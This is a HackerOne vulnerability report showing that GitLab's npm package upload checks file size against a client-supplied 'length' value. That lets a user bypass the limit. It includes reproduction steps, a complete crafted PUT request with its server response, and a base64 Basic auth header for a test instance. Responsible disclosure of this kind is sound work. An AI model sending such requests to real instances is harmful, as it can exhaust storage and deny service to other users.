Bypassing file size limits to the NPM package repository
HackerOne report #1071861 by 0xn3va
on 2021-01-05, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Summary
Packages::Npm::CreatePackageService
incorrectly validates file length when creating a NPM package, allows uploading files of any size.
File size validation is as follows app/services/packages/npm/create_package_service.rb
:
def file_size_exceeded?
project.actual_limits.exceeded?(:npm_max_file_size, attachment['length'].to_i)
end
Where attachment ['length']
comes directly from the user's request and has nothing to do with the actual file size.
Steps to reproduce
Set a limit on the size of an uploaded file from a user with administrator rights:
- Go to
Admin Area > Settings > CI/CD > Package file size limits
- Set the
Maximum NPM package file size in bytes
to 10 - Save default size limits
Log in as a regular user and follow these steps:
-
Create a new project
npm-package-test
and initialize it with a README -
Create a deploy token for
npm-package-test
(Settings > Repository > Deploy Tokens
) -
Generate arbitrary data over 10 bytes:
$ dd if=/dev/urandom bs=1024 count=1 2>/dev/null | base64
-
Make a request to create an NPM package. Specify the authentication data from item 2 in the
Authorization
header and use the data from item 3 as<random_data>
. Note that we are passing1
in thelength
parameter, which will then be taken as the file size to validation.PUT /api/v4/projects/121/packages/npm/[@]0xn3va%2fnpm-package-test HTTP/1.1 Host: 0xn3va.gitlab.local Accept-Encoding: gzip, deflate Accept: */* Connection: close Authorization: Basic <base64(login:deploy_token)> Content-Type: application/json Content-Length: 2341 {"_id":"[@]0xn3va/npm-package-test","name":"[@]0xn3va/npm-package-test","description":"","dist-tags":{"latest":"1.0.0"},"versions":{"1.0.0":{"name":"","version":"1.0.0","description":"","main":"app.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"repository":{"type":"git","url":"http://0xn3va.gitlab.local/0xn3va/npm-package-test.git"},"author":"","license":"ISC","readme":"","readmeFilename":"README.md","gitHead":"6a3af683364abdf64326db42330717b02dc5e4ba","_id":"[@]0xn3va/npm-package-test@1.0.0","_nodeVersion":"15.0.1","_npmVersion":"7.0.3","dist":{"integrity":"sha512-mtZtT3BPITRcEetWWgVbBviZIkc2F3NZxbO6jaAz8IaxJSpI9sdd9Fd9eg6/rGRUpOHiLEUvCwbvQomrbHVPyw==","shasum":"","tarball":"http://0xn3va.gitlab.local/api/v4/projects/121/packages/npm/[@]0xn3va/npm-package-test/-/[@]0xn3va/npm-package-test-1.0.0.tgz"}}},"access":null,"readme":"","_attachments":{"[@]0xn3va/npm-package-test-1.0.0.tgz":{"content_type":"application/octet-stream","data":"<random_data>","length":1}}}
Impact
Bypassing the specified file size limits allows the user to abuse the functionality to create NPM packages for uploading large files, given the lack of storage limits for the package registry (https://gitlab.com/gitlab-org/gitlab/-/issues/218024), this can lead to disk space exhaustion and denial of service.
What is the current bug behavior?
The file size limit check relies on a parameter that comes directly from the user.
What is the expected correct behavior?
The file size limit check relies on the actual size of the data being transferred.
Relevant logs and/or screenshots
Request to create NPM package:
PUT /api/v4/projects/121/packages/npm/[@]0xn3va%2fnpm-package-test HTTP/1.1
Host: 0xn3va.gitlab.local
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Authorization: Basic MHhuM3ZhOnlyTjR3Snh5cy1renlmZnNEdVNu
Content-Type: application/json
Content-Length: 2341
{"_id":"[@]0xn3va/npm-package-test","name":"[@]0xn3va/npm-package-test","description":"","dist-tags":{"latest":"1.0.0"},"versions":{"1.0.0":{"name":"","version":"1.0.0","description":"","main":"app.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"repository":{"type":"git","url":"http://0xn3va.gitlab.local/0xn3va/npm-package-test.git"},"author":"","license":"ISC","readme":"","readmeFilename":"README.md","gitHead":"6a3af683364abdf64326db42330717b02dc5e4ba","_id":"[@]0xn3va/npm-package-test@1.0.0","_nodeVersion":"15.0.1","_npmVersion":"7.0.3","dist":{"integrity":"sha512-mtZtT3BPITRcEetWWgVbBviZIkc2F3NZxbO6jaAz8IaxJSpI9sdd9Fd9eg6/rGRUpOHiLEUvCwbvQomrbHVPyw==","shasum":"","tarball":"http://0xn3va.gitlab.local/api/v4/projects/121/packages/npm/[@]0xn3va/npm-package-test/-/[@]0xn3va/npm-package-test-1.0.0.tgz"}}},"access":null,"readme":"","_attachments":{"[@]0xn3va/npm-package-test-1.0.0.tgz":{"content_type":"application/octet-stream","data":"A383wUKjonY02FqIOBEn3N9yb92ZSfz6eJWGNNvx3nmM2iG336NTeFd/SFigV6uyjG3xXKGpXFrplC38wbllZRNAlTBirGKew1zbw1qRqmwjoWcu0yP6OvcbjzBHLcd9ysu03nTNdQ+hGLXozWu3lNINO7BUxh6+he6CfH3nRabNPmv1Z7IFD+Cw4hfcQ3PRCdf36UWsIsX3s/UYH6aweyDx23NefLul4Eqf43gS9MD7i5kGVQD254H3auSXatkUOKi3bcRHabCfPCuRbmjZlIEoH4mxMCU0fzKE2EyNHd7KJt9eVJpJWSszNQOnWjedX0UgIanK/VgedyiNdvvBWBRBPsN4nMV084TPOlNSQHiH81d20bNZo7zv3HezGr7c1FU82+yUxVpcyYhgLxtHxPxy9x3LnlDnnXu4u4NC/wRq4fGef34C/FgshEXzunEoTyVdHXk/ynvpJOAQZWSt6RDDQHJKalz4JmwtiWAyjTdzDCTsVp7DJ8Daq8Dpumb5FwotSkcagbtBL+thTALhYMx99DiP+XTaU5idAcfA6145KkJvlMp3rgjPJ4cqiTn+cPPoiZSAac4/FoHQveuNWdECofSDk2pttaSRrW5d4JOFfLN7FnkUFW5GHZ8uyqSo1deZerohW4JeQ6on12ciULb980rQx+ehWultc3tvba6svJqO6s1VeodeysHQeK/B1wYJpuu00PtJSelj3vXCIyS5elAjOOdu20x2al7cGrBAZdZhpG6aBR+Y0XelvLSJi4TMeYUyMlCAx4RwvRaz5K+tQ+NWAWi8Z6f6mS0SeqSQgto8qjOm8j1XO7OFS+l5RQwQkR1qjFDIUh4XNiLX6SlkdIlgETwdrB+mRFQe7d9n4J22kqBnq/Oln8Vd/Yz3dxSC6xL5rBe0id2g0Tdk8v/3jiukuP/WNmdHrxb1juCSHGUbBTolivp6s4s4+qAr3KR900l7H9Ok20tHaoodQBS2K+RpTxWJ6N3/Lc5wOQsywScjHDbGCF7ud2AQVLgcqwyv1i085XEIKI41KCLpaEZ5FGCdrH89PazG6h5KufaugbW3i9mbe6xwUpXpqW/o4xaBOKTWHytTslLEuiAIGNAPup0IzmedU9txNJqXZGxr61IVmzTgR8fSzqcf8xfZR15AAkgww6ErxoNp6bn8GV7v1+nHBAhY+0k99YyO96Zohzx6C6t+RfN7uKgd2SO56H4GwLVCXp/oRMlS8UIHJFdFdjJymtQi/W7pk1mT6NQkCSi2Mrr2Z1dyk4sbBeTZDRPePiy1IIHmBlXxMXuYNoF7Sq95dac5crcf05NMX9eq8Acc7Abq+s8r+3ZHpNbXGaHeoLQf3FYdm3mkqvoMcg==","length":1}}}
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 05 Jan 2021 10:43:44 GMT
Content-Type: application/json
Content-Length: 197
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Etag: W/"6150427642cdf0f6cf9bac67ab79a601"
Vary: Origin
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Gitlab-Feature-Category: package_registry
X-Request-Id: WwEzNyZY0k7
X-Runtime: 0.233736
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
{"id":42,"project_id":121,"created_at":"2021-01-05T10:43:44.231Z","updated_at":"2021-01-05T10:43:44.231Z","name":"[@]0xn3va/npm-package-test","version":"1.0.0","package_type":"npm","creator_id":null}
NPM package in Package Registry:
Download the NPM tarball (note, the file size is 1024):
Results of GitLab environment info
$ sudo gitlab-rake gitlab:env:info
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.1
Redis Version: 5.0.9
Git Version: 2.29.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.6.3-ee
Revision: 8578025c5e8
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://0xn3va.gitlab.local
HTTP Clone URL: http://0xn3va.gitlab.local/some-group/some-project.git
SSH Clone URL: git@0xn3va.gitlab.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.13.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
Bypassing the specified file size limits allows the user to abuse the functionality to create NPM packages for uploading large files, given the lack of storage limits for the package registry (https://gitlab.com/gitlab-org/gitlab/-/issues/218024), this can lead to disk space exhaustion and denial of service.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
- Screenshot_2021-01-05_at_17.35.47.png
- Screenshot_2021-01-05_at_17.59.13.png
- Screenshot_2021-01-05_at_18.00.35.png
How To Reproduce
Please add reproducibility information to this section: